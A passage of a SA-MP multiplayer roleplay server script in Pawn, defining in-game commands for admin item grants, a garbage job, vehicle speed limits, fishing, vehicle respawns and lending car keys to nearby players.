				if(PINFO[playerid][pAdmin] < PINFO[giveplayerid][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
					new playa;
					GetPlayerName(playa, sendername, sizeof(sendername));
					playa = ReturnUser6(tmp);
					moneys = strval(tmp);
					PlayerInfo[giveplayerid][pDrugs] += moneys;
					SaveKonVal(giveplayerid, "pDrugs", PlayerInfo[giveplayerid][pDrugs]);
					GetPlayerName(giveplayerid, giveplayer, sizeof(giveplayer));
					GetPlayerName(playerid, sendername, sizeof(sendername));
					format(string, 256, "[Admin-Warn]:{ffffff} Admin %s given %s drugs to %s", sendername,FormatNumber(moneys),giveplayer);
					ABroadCast(COLOR_AdminWarn,string,1);
					format(string, 256, "Admin {ffffff}%s{ff6347} given {ffffff}%s{ff6347} drugs to you", sendername,FormatNumber(moneys),giveplayer);
					SendClientMessage(giveplayerid,COLOR_LIGHTRED,string);
				}
			}
			else
			{
			SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
			return 1;
			}
			return 1;
		}
	 if(strcmp(cmd, "/dumptrash", true) == 0)
		{
		if(PlayerInfo[playerid][pJob] != 20) return SCM(playerid,COLOR_LIGHTBLUE,"You are not a garbage man.");
		if(!IsPlayerInRangeOfPoint(playerid,10.0,2109.051269,-2009.960083,13.546875)) return SCM(playerid,COLOR_LIGHTRED,"You are not in dump trash place(in HQ).");
		if(!trashcar(GetPlayerVehicleID(playerid))) return SCM(playerid,COLOR_LIGHTBLUE,"You are not in trash car.");
		if(Trashes[playerid] == 0) return SCM(playerid,COLOR_MAMAD,"You haven't any trash with you.");
		new sttr[256];
		new dumptrash = Trashes[playerid]*20;
		format(sttr,256,"You dump your trashes for $%s",FormatNumber(dumptrash));
		SCM(playerid,COLOR_MAMAD,sttr);
		GivePlayerPool(playerid,dumptrash);
		Trashes[playerid] = 0;
		Benzin[GetPlayerVehicleID(playerid)] = 100;
		DarsadBenzin[GetPlayerVehicleID(playerid)] = 0;
		return 1;
		}
		if(!strcmp(cmd,"/speedlimit",true))
		{
			if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid, COL_SYN, "You are not in a vehicle.");
			if(GetPlayerState(playerid) != PLAYER_STATE_DRIVER) return SCM(playerid, COL_SYN, "You must be the driver of this vehicle.");
			new veh = GetPlayerVehicleID(playerid), vmo = GetVehicleModel(veh);
			if(vmo == 509 || vmo == 510 || vmo == 481 || IsAPlane(veh)) return SCM(playerid, COL_SYN, "This vehicle hasen't a speed limit system.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) {SCM(playerid,COL_SYN,"Syntax: /speedlimit <Speed>"); return SCM(playerid,COL_SYN,"Use 0 for Speed to disable speed limit system.");}
			new sorat = strval(tmp);
			if((sorat < 50 || sorat > 230) && sorat != 0) return SCM(playerid,COLOR_SINA3,"Error: Allowed speed is between 50 and 230 or 0 to disable it.");
			if(sorat == 0) format(string, sizeof(string), "Speedlimit {FFFFFF}disabled.");
			else format(string, sizeof(string), "Speedlimit set to %d Km/h", sorat);
			SCM(playerid,COLOR_SINA3,string);
			SetVehicleSoratLimit(veh, sorat);
			return 1;
		}
		/*if(strcmp(cmd,"/speedlimit",true)==0)
		{
		if(!IsPlayerConnected(playerid)) return 1;
		if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_Good,"You are not in any vehicle.");
		if(GetPlayerState(playerid) !=PLAYER_STATE_DRIVER) return SCM(playerid,COLOR_Good,"You are not a driver of this vehicle.");
		new modelid = GetVehicleModel(GetPlayerVehicleID(playerid)),vehicle = GetPlayerVehicleID(playerid);
		if(modelid == 510 || modelid == 509 || modelid == 481 || IsAPlane(vehicle))
		{
		SCM(playerid,COLOR_LIGHTRED,"This vehicle hasen't Speed Limit System.");
		return 1;
		}
		new sttring[256];
		 tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /speedlimit <MaxSpeed>");
					SCM(playerid,COLOR_WHITE,"USPGE: 0 will to be disable it.");
					return 1;
				}
				new sorat;
				sorat = strval(tmp);
				if(sorat >= 90 && sorat <= 230 || sorat == 0)
				{
				if(sorat == 0) { DisableVehicleSpeedLimit(vehicle); SCM(playerid,COLOR_SINA3,"Speedlimit {FFFFFF}disabled."); return 1; }
				SetVehicleSpeedLimit(vehicle,sorat/200.0);
					format(sttring, sizeof(sttring), "Your max speed of your vehicle set to %d Km/h", sorat);
					SCM(playerid,COLOR_SINA3,sttring);
					return 1;
				}
				else { SCM(playerid,COLOR_SINA3,"Error: Allowed speed is between 90 and 230 or 0 to disable it."); return 1; }
		}*/
	if(strcmp(cmd,"/fish",true)==0)
	{
	if(IsAtFishPlace(playerid) || IsABoat(GetPlayerVehicleID(playerid)) || IsABoat(GetPlayerSurfingVehicleID(playerid)))
	{
	if(PlayerInfo[playerid][pFishLic] == 0) { SCM(playerid,COLOR_MAMAD,"You haven't a Fish license."); return 1; }
	if(PlayerFish[playerid] >= 1) return SCM(playerid,COLOR_LIGHTRED,"Wait to you see a fish.");
	if(PlayerInfo[playerid][pFishes] >= 51) return SCM(playerid,COLOR_MAMAD,"Your fishes are full, sellthem first(/sellfishes)");
	new rand = RandomShomare(1,8);
	if(rand == 1)
	{
	SCM(playerid,COLOR_YELLOW,"You caugh a Shark(5 kg)");
	PlayerInfo[playerid][pFishes] += 5;
	SaveKonVal(playerid, "pFishes", PINFO[playerid][pFishes]);
	PlayerFish[playerid] = 10;
	return 1;
	}
	if(rand == 2)
	{
	SCM(playerid,COLOR_YELLOW,"You caugh a Dolphin(3 kg)");
	PlayerInfo[playerid][pFishes] +=3;
	SaveKonVal(playerid, "pFishes", PINFO[playerid][pFishes]);
	PlayerFish[playerid] = 10;
	return 1;
	}
	if(rand == 3)
	{
	SCM(playerid,COLOR_YELLOW,"You caugh a Bandfish(1 kg)");
	PlayerInfo[playerid][pFishes] += 1;
	SaveKonVal(playerid, "pFishes", PINFO[playerid][pFishes]);
	PlayerFish[playerid] = 10;
	return 1;
	}
	if(rand == 4)
	{
	SCM(playerid,COLOR_YELLOW,"You caugh a Milkfish(1 kg)");
	PlayerInfo[playerid][pFishes] += 1;
	SaveKonVal(playerid, "pFishes", PINFO[playerid][pFishes]);
	PlayerFish[playerid] = 10;
	return 1;
	}
	if(rand == 5)
	{
	SCM(playerid,COLOR_YELLOW,"You caugh a Candiru(1 kg)");
	PlayerInfo[playerid][pFishes] += 1;
	SaveKonVal(playerid, "pFishes", PINFO[playerid][pFishes]);
	PlayerFish[playerid] = 10;
	return 1;
	}
	if(rand == 6)
	{
	SCM(playerid,COLOR_YELLOW,"You caugh a Mora(1 kg)");
	PlayerInfo[playerid][pFishes] += 1;
	SaveKonVal(playerid, "pFishes", PINFO[playerid][pFishes]);
	PlayerFish[playerid] = 10;
	return 1;
	}
	if(rand == 7)
	{
	SCM(playerid,COLOR_YELLOW,"You caugh a Catfish(1 kg)");
	PlayerInfo[playerid][pFishes] += 1;
	SaveKonVal(playerid, "pFishes", PINFO[playerid][pFishes]);
	PlayerFish[playerid] = 10;
	return 1;
	}
	}
	else {
	SCM(playerid,COLOR_Good,"You are not in a Boat or fish place.");
	return 1;
	}
	return 1;
	}
	if(strcmp(cmd,"/sellfishes",true)==0)
	{
	if(!IsPlayerInRangeOfPoint(playerid,5.0,2801.055175,-2356.169677,13.630423)) { SCM(playerid,COLOR_SINA3,"You are not in sellfish place, I gave you a checkpoint to follow it.");
	if(OnCheckpoint[playerid] == 1) return SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
	OnCheckpoint[playerid] = 1;
	SetPlayerCheckpoint(playerid,2801.055175,-2356.169677,13.630423,5);
	CP[playerid] = 42369423;
	return 1;
	}
	if(PlayerInfo[playerid][pFishLic] == 0) return SCM(playerid,COLOR_MAMAD,"You haven't a fish license.");
	if(PlayerInfo[playerid][pFishes] == 0) return SCM(playerid,COLOR_MAMAD,"You haven't any fish to sell it.");
	new cash = PlayerInfo[playerid][pFishes]*5;
	new strx[256];
	format(strx,256,"You sell your %d kgs fish for $%s.",PlayerInfo[playerid][pFishes],FormatNumber(cash));
	GivePlayerPool(playerid,cash);
	SCM(playerid,COLOR_MAMAD,strx);
	format(strx,256,"~y~%s",FormatNumber(cash));
	GameTextForPlayer(playerid,strx,5000,5);
	PlayerInfo[playerid][pFishes] = 0;
	SaveKonVal(playerid, "pFishes", 0);
	PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
	return 1;
	}
	if(strcmp(cmd,"/fishes",true)==0)
	{
	new strz[256];
	if(PlayerInfo[playerid][pFishes] == 0) return SCM(playerid,COLOR_YELLOW,"You haven't any fish with you.");
	format(strz,256,"You have %d kg fishes.",PlayerInfo[playerid][pFishes]);
	SCM(playerid,COLOR_YELLOW,strz);
	return 1;
	}
	if(strcmp(cmd,"/fishhelp",true)==0)
	{
	SCM(playerid,CRISTIAN,"|_________________** FISH HELP **___________________|");
	SCM(playerid,COL_SYN,"** FISHING *** /fish /sellfishes /fishes");
	SCM(playerid,CRISTIAN,"______________________________________________________");
	return 1;
	}
		if(strcmp(cmd, "/respawnthiscar", true) == 0 || strcmp(cmd, "/rtc", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
				if(PlayerInfo[playerid][pAdmin] < 5 && PINFO[playerid][pSponser] == 0)
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
					return 1;
				}
				if(IsPlayerInAnyVehicle(playerid))
				{
					GetPlayerName(playerid, sendername, sizeof(sendername));
					format(string, 256, "[Admin-Warn]:{ffffff} Admin %s has just respawned vehicle id %d.",sendername,GetPlayerVehicleID(playerid));
					ABroadCast(COLOR_AdminWarn,string,1);
					new veh = GetPlayerVehicleID(playerid);
		            VehicleTurbo[veh] = 0;
		            vJump[veh] = 0;
		            OilInCar[veh] = 0;
                    if(VehLinkDare[veh] == 1)
                    {
                     VehLinkDare[veh] = 0;
                     VehLink[veh][0] = '\0';
                    }
					SetVehicleToRespawn(GetPlayerVehicleID(playerid));
					RemovePlayerFromVehicle(playerid);
					SendMessage(playerid, COLOR_GREY, "Vehicle Respawned.");
				}
			}
			return 1;
		}
		if(strcmp(cmd, "/respawncar", true) == 0)
		{
				if (PlayerInfo[playerid][pAdmin] >= 5 || PINFO[playerid][pSponser] == 1)
				{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /respawncar <VehicleID>");
					return 1;
				}
				new testcar = strval(tmp);
				VehicleTurbo[testcar] = 0;
				vJump[testcar] = 0;
				OilInCar[testcar] = 0;
                if(VehLinkDare[testcar] == 1)
                {
                   VehLinkDare[testcar] = 0;
                   VehLink[testcar][0] = '\0';
                }
					SetVehicleToRespawn(testcar);
					format(string, sizeof(string), "Vehicleid %d has been respawned.", testcar);
					GetPlayerName(playerid, sendername, sizeof(sendername));
					if(PlayerInfo[playerid][pAdmin] >= 3)
					{
						format(string, sizeof(string), "[Admin-Warn]:{ffffff} Admin %s has respawned vehicleid %d.", sendername, testcar);
						ABroadCast(COLOR_AdminWarn,string,1);
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW2, "Error: Your admin level isn't high enough to use this command.");
				}
			return 1;
		}
	   if(strcmp(cmd, "/givekey", true) == 0)
		{
			if(PINFO[playerid][pVeh1] == 0 && PINFO[playerid][pVeh2] == 0 && PINFO[playerid][pVeh3] == 0 && PINFO[playerid][pVeh4] == 0 && PINFO[playerid][pVeh5] == 0 && PINFO[playerid][pVeh6] == 0) return SCM(playerid,COL_SYN,"You haven't a personal car.");

			new v1 = PINFO[playerid][pVeh1];
			new v2 = PINFO[playerid][pVeh2];
			new v3 = PINFO[playerid][pVeh3];
			new v4 = PINFO[playerid][pVeh4];
			new v5 = PINFO[playerid][pVeh5];
			new v6 = PINFO[playerid][pVeh6];

			if((v1 != 0 && v2 != 0) || (v1 != 0 && v3 != 0) || (v1 != 0 && v4 != 0) || (v1 != 0 && v5 != 0) || (v1 != 0 && v6 != 0))
			{

				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /givekey <Playerid/PartOfName> <CarID(1-2)>");
				new taraf = ReturnUser6(tmp);
				if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_SINA3,"That player is offline.");
				if(!ProxDetectorS(6,playerid,taraf)) return SCM(playerid,COLOR_SINA3,"That player isn't near you.");
				if(taraf == playerid) return SCM(playerid,COLOR_SINA3,"You can't give key of your vehicle to yourself.");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /givekey <Playerid/PartOfName> <CarID(1 or 2)>");
				new carid = strval(tmp);
				if(carid < 1 || carid > 6) return SCM(playerid,COLOR_SINA3,"Invalid CarID.");
				if(carid == 1 && PINFO[playerid][pCar_1] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(carid == 2 && PINFO[playerid][pCar_2] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(carid == 3 && PINFO[playerid][pCar_3] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(carid == 4 && PINFO[playerid][pCar_4] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(carid == 5 && PINFO[playerid][pCar_5] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(carid == 6 && PINFO[playerid][pCar_6] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(carid == 1)
				{
					IHaveKey[taraf] = PINFO[playerid][pCar_1];
					KeyDade[playerid] = taraf;
					format(string,sizeof string,"%s Gives key of %s vehicle to you, you can now unlock/lock %s vehicle.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(taraf,COLOR_Good,string);
					format(string,sizeof string,"You give key of your vehicle to %s, %s can now unlocks/locks your vehicle.",PINFO[taraf][pName], (PINFO[taraf][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,string);
					return 1;
				}
				if(carid == 2)
				{
					IHaveKey_2[taraf] = PINFO[playerid][pCar_2];
					KeyDade_2[playerid] = taraf;
					format(string,sizeof string,"%s Gives key of %s vehicle to you, you can now unlock/lock %s vehicle.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(taraf,COLOR_Good,string);
					format(string,sizeof string,"You give key of your vehicle to %s, %s can now unlocks/locks your vehicle.",PINFO[taraf][pName], (PINFO[taraf][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,string);
				}
				if(carid == 3)
				{
					IHaveKey_3[taraf] = PINFO[playerid][pCar_3];
					KeyDade_3[playerid] = taraf;
					format(string,sizeof string,"%s Gives key of %s vehicle to you, you can now unlock/lock %s vehicle.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(taraf,COLOR_Good,string);
					format(string,sizeof string,"You give key of your vehicle to %s, %s can now unlocks/locks your vehicle.",PINFO[taraf][pName], (PINFO[taraf][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,string);
				}
				if(carid == 4)
				{
					IHaveKey_4[taraf] = PINFO[playerid][pCar_4];
					KeyDade_4[playerid] = taraf;
					format(string,sizeof string,"%s Gives key of %s vehicle to you, you can now unlock/lock %s vehicle.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(taraf,COLOR_Good,string);
					format(string,sizeof string,"You give key of your vehicle to %s, %s can now unlocks/locks your vehicle.",PINFO[taraf][pName], (PINFO[taraf][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,string);
				}
				if(carid == 5)
				{
					IHaveKey_5[taraf] = PINFO[playerid][pCar_5];
					KeyDade_5[playerid] = taraf;
					format(string,sizeof string,"%s Gives key of %s vehicle to you, you can now unlock/lock %s vehicle.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(taraf,COLOR_Good,string);
					format(string,sizeof string,"You give key of your vehicle to %s, %s can now unlocks/locks your vehicle.",PINFO[taraf][pName], (PINFO[taraf][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,string);
				}
				if(carid == 6)
				{
					IHaveKey_6[taraf] = PINFO[playerid][pCar_6];
					KeyDade_6[playerid] = taraf;
					format(string,sizeof string,"%s Gives key of %s vehicle to you, you can now unlock/lock %s vehicle.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(taraf,COLOR_Good,string);
					format(string,sizeof string,"You give key of your vehicle to %s, %s can now unlocks/locks your vehicle.",PINFO[taraf][pName], (PINFO[taraf][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,string);
				}
				return 1;
			}
			else if((v1 != 0 && v2 != 0) || (v1 != 0 && v3 != 0) || (v1 != 0 && v4 != 0) || (v1 != 0 && v5 != 0) || (v1 != 0 && v6 != 0))
			{

				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /givekey <Playerid/PartOfName> <CarID(1-2)>");
				new taraf = ReturnUser6(tmp);
				if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_SINA3,"That player is offline.");
				if(!ProxDetectorS(6,playerid,taraf)) return SCM(playerid,COLOR_SINA3,"That player isn't near you.");
				if(taraf == playerid) return SCM(playerid,COLOR_SINA3,"You can't give key of your vehicle to yourself.");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /givekey <Playerid/PartOfName> <CarID(1 or 2)>");
				new carid = strval(tmp);
				if(carid < 1 || carid > 6) return SCM(playerid,COLOR_SINA3,"Invalid CarID.");
				if(carid == 1 && PINFO[playerid][pCar_1] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(carid == 2 && PINFO[playerid][pCar_2] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(carid == 3 && PINFO[playerid][pCar_3] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(carid == 4 && PINFO[playerid][pCar_4] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(carid == 5 && PINFO[playerid][pCar_5] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(carid == 6 && PINFO[playerid][pCar_6] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(carid == 1)
				{
					IHaveKey[taraf] = PINFO[playerid][pCar_1];
					KeyDade[playerid] = taraf;
					format(string,sizeof string,"%s Gives key of %s vehicle to you, you can now unlock/lock %s vehicle.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(taraf,COLOR_Good,string);
					format(string,sizeof string,"You give key of your vehicle to %s, %s can now unlocks/locks your vehicle.",PINFO[taraf][pName]);
					SCM(playerid,COLOR_Good,string);
					return 1;
				}
				if(carid == 2)
				{
					IHaveKey_2[taraf] = PINFO[playerid][pCar_2];
					KeyDade_2[playerid] = taraf;
					format(string,sizeof string,"%s Gives key of %s vehicle to you, you can now unlock/lock %s vehicle.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(taraf,COLOR_Good,string);
					format(string,sizeof string,"You give key of your vehicle to %s, %s can now unlocks/locks your vehicle.",PINFO[taraf][pName], (PINFO[taraf][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,string);
				}
				if(carid == 3)
				{
					IHaveKey_3[taraf] = PINFO[playerid][pCar_3];
					KeyDade_3[playerid] = taraf;
					format(string,sizeof string,"%s Gives key of %s vehicle to you, you can now unlock/lock %s vehicle.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(taraf,COLOR_Good,string);
					format(string,sizeof string,"You give key of your vehicle to %s, %s can now unlocks/locks your vehicle.",PINFO[taraf][pName], (PINFO[taraf][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,string);
				}
				if(carid == 4)
				{
					IHaveKey_4[taraf] = PINFO[playerid][pCar_4];
					KeyDade_4[playerid] = taraf;
					format(string,sizeof string,"%s Gives key of %s vehicle to you, you can now unlock/lock %s vehicle.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(taraf,COLOR_Good,string);
					format(string,sizeof string,"You give key of your vehicle to %s, %s can now unlocks/locks your vehicle.",PINFO[taraf][pName], (PINFO[taraf][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,string);
				}
				if(carid == 5)
				{
					IHaveKey_5[taraf] = PINFO[playerid][pCar_5];
					KeyDade_5[playerid] = taraf;
					format(string,sizeof string,"%s Gives key of %s vehicle to you, you can now unlock/lock %s vehicle.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(taraf,COLOR_Good,string);
					format(string,sizeof string,"You give key of your vehicle to %s, %s can now unlocks/locks your vehicle.",PINFO[taraf][pName], (PINFO[taraf][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,string);
				}
				if(carid == 6)
				{
					IHaveKey_6[taraf] = PINFO[playerid][pCar_6];
					KeyDade_6[playerid] = taraf;
					format(string,sizeof string,"%s Gives key of %s vehicle to you, you can now unlock/lock %s vehicle.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(taraf,COLOR_Good,string);
					format(string,sizeof string,"You give key of your vehicle to %s, %s can now unlocks/locks your vehicle.",PINFO[taraf][pName], (PINFO[taraf][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,string);
				}
				return 1;
			}
			else if((v2 != 0 && v3 != 0) || (v2 != 0 && v4 != 0) || (v2 != 0 && v5 != 0) || (v2 != 0 && v6 != 0) || (v3 != 0 && v4 != 0) || (v3 != 0 && v5 != 0) || (v3 != 0 && v6 != 0))
			{

				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /givekey <Playerid/PartOfName> <CarID(1-2)>");
				new taraf = ReturnUser6(tmp);
				if(!IsPlayerConnected(taraf)) return SCM(playerid,COLOR_SINA3,"That player is offline.");
				if(!ProxDetectorS(6,playerid,taraf)) return SCM(playerid,COLOR_SINA3,"That player isn't near you.");
				if(taraf == playerid) return SCM(playerid,COLOR_SINA3,"You can't give key of your vehicle to yourself.");
				tmp = strtok(cmdtext,idx);
				if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /givekey <Playerid/PartOfName> <CarID(1 or 2)>");
				new carid = strval(tmp);
				if(carid < 1 || carid > 6) return SCM(playerid,COLOR_SINA3,"Invalid CarID.");
				if(carid == 1 && PINFO[playerid][pCar_1] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(carid == 2 && PINFO[playerid][pCar_2] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(carid == 3 && PINFO[playerid][pCar_3] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(carid == 4 && PINFO[playerid][pCar_4] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(carid == 5 && PINFO[playerid][pCar_5] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(carid == 6 && PINFO[playerid][pCar_6] == 0) return SCM(playerid,COLOR_SINA3,"Invalid CarID");
				if(carid == 1)
				{
					IHaveKey[taraf] = PINFO[playerid][pCar_1];
					KeyDade[playerid] = taraf;
					format(string,sizeof string,"%s Gives key of %s vehicle to you, you can now unlock/lock %s vehicle.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(taraf,COLOR_Good,string);
					format(string,sizeof string,"You give key of your vehicle to %s, %s can now unlocks/locks your vehicle.",PINFO[taraf][pName], (PINFO[taraf][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,string);
					return 1;
				}
				if(carid == 2)
				{
					IHaveKey_2[taraf] = PINFO[playerid][pCar_2];
					KeyDade_2[playerid] = taraf;
					format(string,sizeof string,"%s Gives key of %s vehicle to you, you can now unlock/lock %s vehicle.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(taraf,COLOR_Good,string);
					format(string,sizeof string,"You give key of your vehicle to %s, %s can now unlocks/locks your vehicle.",PINFO[taraf][pName], (PINFO[taraf][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,string);
				}
				if(carid == 3)
				{
					IHaveKey_3[taraf] = PINFO[playerid][pCar_3];
					KeyDade_3[playerid] = taraf;
					format(string,sizeof string,"%s Gives key of %s vehicle to you, you can now unlock/lock %s vehicle.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(taraf,COLOR_Good,string);
					format(string,sizeof string,"You give key of your vehicle to %s, %s can now unlocks/locks your vehicle.",PINFO[taraf][pName], (PINFO[taraf][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,string);
				}
				if(carid == 4)
				{
					IHaveKey_4[taraf] = PINFO[playerid][pCar_4];
					KeyDade_4[playerid] = taraf;
					format(string,sizeof string,"%s Gives key of %s vehicle to you, you can now unlock/lock %s vehicle.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(taraf,COLOR_Good,string);
					format(string,sizeof string,"You give key of your vehicle to %s, %s can now unlocks/locks your vehicle.",PINFO[taraf][pName], (PINFO[taraf][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,string);
				}
				if(carid == 5)
				{
					IHaveKey_5[taraf] = PINFO[playerid][pCar_5];
					KeyDade_5[playerid] = taraf;
					format(string,sizeof string,"%s Gives key of %s vehicle to you, you can now unlock/lock %s vehicle.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(taraf,COLOR_Good,string);
					format(string,sizeof string,"You give key of your vehicle to %s, %s can now unlocks/locks your vehicle.",PINFO[taraf][pName], (PINFO[taraf][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,string);
				}
				if(carid == 6)
				{
					IHaveKey_6[taraf] = PINFO[playerid][pCar_6];
					KeyDade_6[playerid] = taraf;
					format(string,sizeof string,"%s Gives key of %s vehicle to you, you can now unlock/lock %s vehicle.",PINFO[playerid][pName], (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(taraf,COLOR_Good,string);
					format(string,sizeof string,"You give key of your vehicle to %s, %s can now unlocks/locks your vehicle.",PINFO[taraf][pName], (PINFO[taraf][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,string);
				}
				return 1;
			}
			if(v1 != 0 && v2 == 0 && v3 == 0 && v4 == 0 && v5 == 0 && v6 == 0)
				{
				   tmp = strtok(cmdtext,idx);
				if(!strlen(tmp))
				{
					SCM(playerid,COL_SYN,"Syntax: /givekey <Playerid/PartOfName>");
					return 1;
				}
				new playidd = ReturnUser6(tmp);
				if(IsPlayerConnected(playidd))
				{
					if(!ProxDetectorS(6, playidd, playerid))
					{
						SCM(playerid,COLOR_SINA3,"That player not near you.");
						return 1;
					}
					if(playidd == playerid)
					{
						SCM(playerid,COLOR_SINA3,"You can not givekey yourself.");
						return 1;
					}
					new alistr[256];
					IHaveKey[playidd] = PINFO[playerid][pCar_1];
					KeyDade[playerid] = playidd;
					new sname[MAX_PLAYER_NAME];
					GetPlayerName(playerid, sname,sizeof sname);
					format(alistr, 256, "%s Give %s vehicle key to you, you can now unlock/lock %s vehicle.",sname, (PINFO[playerid][pSex]==1)?("his"):("her"), (PINFO[playerid][pSex]==1)?("his"):("her"));
					SCM(playidd,COLOR_Good,alistr);
					new plyname[MAX_PLAYER_NAME];
					GetPlayerName(playidd,plyname,MAX_PLAYER_NAME);
					format(alistr, 256, "You give your vehicle key to %s, %s can now unlock/lock your vehicle.",plyname, (PINFO[playidd][pSex]==1)?("he"):("she"));
					SCM(playerid,COLOR_Good,alistr);
					return 1;
				}
				else
				{
					SCM(playerid,COLOR_Good,"That player is offline.");
					return 1;
				}
				}
				else if(v1 == 0 && v2 != 0 && v3 == 0 && v4 == 0 && v5 == 0 && v6 == 0)
				{
					tmp = strtok(cmdtext,idx);
				if(!strlen(tmp))
				{
					SCM(playerid,COL_SYN,"Syntax: /givekey <Playerid/PartOfName>");
					return 1;
				}
				new playidd = ReturnUser6(tmp);
				if(IsPlayerConnected(playidd))
				{
					if(!ProxDetectorS(6, playidd, playerid))
					{
						SCM(playerid,COLOR_SINA3,"That player not near you.");
						return 1;
					}
					if(playidd == playerid)
					{
						SCM(playerid,COLOR_SINA3,"You can not givekey yourself.");
						return 1;
					}
					new alistr[256];
					IHaveKey_2[playidd] = PINFO[playerid][pCar_2];
					KeyDade_2[playerid] = playidd;
